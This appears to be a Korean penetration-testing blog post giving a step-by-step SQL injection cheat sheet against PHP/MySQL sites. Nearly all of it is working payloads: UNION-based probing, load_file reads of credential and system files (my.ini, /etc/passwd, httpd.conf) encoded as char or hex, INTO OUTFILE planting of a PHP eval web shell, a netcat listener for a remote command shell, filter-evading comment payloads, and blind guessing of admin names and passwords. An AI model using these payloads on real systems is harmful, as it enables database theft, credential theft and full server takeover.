본문 바로가기
모의해킹 (WAPT)

PHP 인젝션 기본구문 이해

by 날으는물고기 2010. 5. 13.

PHP 인젝션 기본구문 이해

1. 삽입 위치 확인

and 1=1 (정상, 이전 페이지와 동일)
and 1-2 (오류가 아닌 이전 페이지와 같음)

2. union 쿼리 수행 여부 결정

and ord(mid(version(),1,1))>51 (4.0이상 가능, 3.0 51 이상)

3. order by 사용 스톰 필드

order by 숫자 (오류 5, 정상 4)

4. union 사용 정확한 필드 쿼리

and 1=2 union select 1,2,3,....... (정확한 숫자 추측)

5. 데이터베이스 쓰기권한 계정 확인 (root권한)

and (select count(*) from mysql.user)>0 (오류는 관리자 계정 암호 추측에 사용)

- load_file(char(파일경로ascii값 쉼표로 분리 또는 16진수 사용)) 기능으로 확인 가능

6. 관리자 계정 비밀번호

- 내용 표시 여부 결정

and 1=2 union select 1,user(),3,4,5,6....

주요기능:user() 현재 데이터베이스에 연결 사용자
              database() 현재 데이터베이스 이름
              version() 버전확인
              system_user() 시스템 사용자 확인
              current_user 현재 사용자 확인
              session_user() 데이터베이스 연결된 사용자 확인

- 정책 확인

and 1=2 union select 1,2,3,4,5,6.... from 테이블이름
and 1=2 union select 1,필드이름,3,4,5,6.... from admin (admin 테이블에 맞게 쿼리 수정)

(부정문이 안될 경우 음수를 사용 : php?id=-1 union select 1,2,3,4,5,6.... from 테이블이름)

7. load_file(char()) 파일 읽기

and 1=2 union select 1,2,3,4,5,6,load_file(char(99,58,92,98,111,111,116,46,105,110,105)),8.........

99,58,92,98,111,111,116,46,105,110,105 (c:\boot.ini 파일경로 아스키값 쉼표 구분 또는 16진수 사용)

- 16진수 사용할 경우

and 1=2 union select 1,2,3,4,5,6,load_file(0x633A5C626F6F742E696E69),8......... (char 입력 안함)

0x633A5C626F6F742E696E69 (c:\boot.ini)

- 민감한 경로

99,58,47,119,105,110,100,111,119,115,47,112,104,112,46,105,110,105
c:/windows/php.ini    windows2003

99,58,47,119,105,110,110,116,47,112,104,112,46,105,110,105
c:/winnt/php.ini      windows2000

99,58,47,119,105,110,100,111,119,115,47,109,121,46,105,110,105
c:/windows/my.ini windows2003(MySQL 로그인 아이디 및 암호)

99,58,47,119,105,110,110,116,47,109,121,46,105,110,105
c:/winnt/my.ini   windows2000(MySQL 로그인 아이디 및 암호)

- LUNIX/UNIX

47,101,116,99,47,112,97,115,115,119,111,114,100
/etc/password

47,117,115,114,47,108,111,99,97,108,47,104,116,116,112,100,47,99,111,
110,102,47,104,116,116,112,100,46,99,111,110,102
/usr/local/httpd/conf/httpd.conf (디폴트 경로)

47,117,115,114,47,108,111,99,97,108,47,97,112,97,99,104,101,50,47,99,111,110
,102,47,104,116,116,112,100,46,99,111,110,102
/usr/local/apache2/conf/httpd.conf (디폴트 경로)

- FreeBSD

load_file(char(47)) (FreeBSD 시스템 루트 디렉토리)

8. 패스워드를 획득한 경우 (디비서버와 웹서버가 같은 서버인 경우)

- MySQL 원격 접속 쿼리

Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('<?php eval($_POST[cmd]);?>');
select cmd from a into outfile 'E:/웹경로/empt.php';
Drop TABLE IF EXISTS a;

- MySQL 시스템 권한 사용

nc -vv -l -p 1983

\. c:\mysql.txt
select Mixconnect('로컬IP','1983');

로컬에서 원격 서버 cmdshell 획득 가능

- 오류 없는 정상 쿼리

php?id=108/**/and/**/1=1/**/union/**/select/**/1,2/* (필드수 추측)
php?id=108/**/and/**/1=1/**/union/**/select/**/1,2,3,4,5,6,7,8/**/from/**/테이블/* (필드수 확인)
php?id=108/**/and/**/1=1/**/union/**/select/**/1,2,3,4,5,6,7,필드/**/from/**/테이블/* (필드이름 확인)
php?id=108/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,load_file(char(99,58,92,98,111,111,116,46,105,110,105)),7,8/* (공격파일)
php?id=108/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,username,7,8/**/from/**/테이블/**/where/**/id=1/* (내용확인)

- 추측 예시

' ; and 1=1 and 1=2
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) --
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(name)>0)
and 1=(select count(*) from admin where len(password)>0)
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 오류
and 1=(select count(*) from admin where len(name)>5) 정상
and 1=(select count(*) from admin where len(name)=6) 정상
and 1=(select count(*) from admin where len(password)>11) 정상
and 1=(select count(*) from admin where len(password)>12) 오류
and 1=(select count(*) from admin where len(password)=12) 정상
and 1=(select count(*) from admin where left(name,1)='a') -- 사용자이름 첫번째 문자
and 1=(select count(*) from admin where left(name,2)='ab') -- 사용자이름 두번째 문자
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
and 1=(select @@VERSION)--
and 1=(Select IS_SRVROLEMEMBER('sysadmin'))--
and 'sa'=(Select System_user)--
and user_name()='dbo'--
and 0<>(select user_name()--
and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')--

728x90

댓글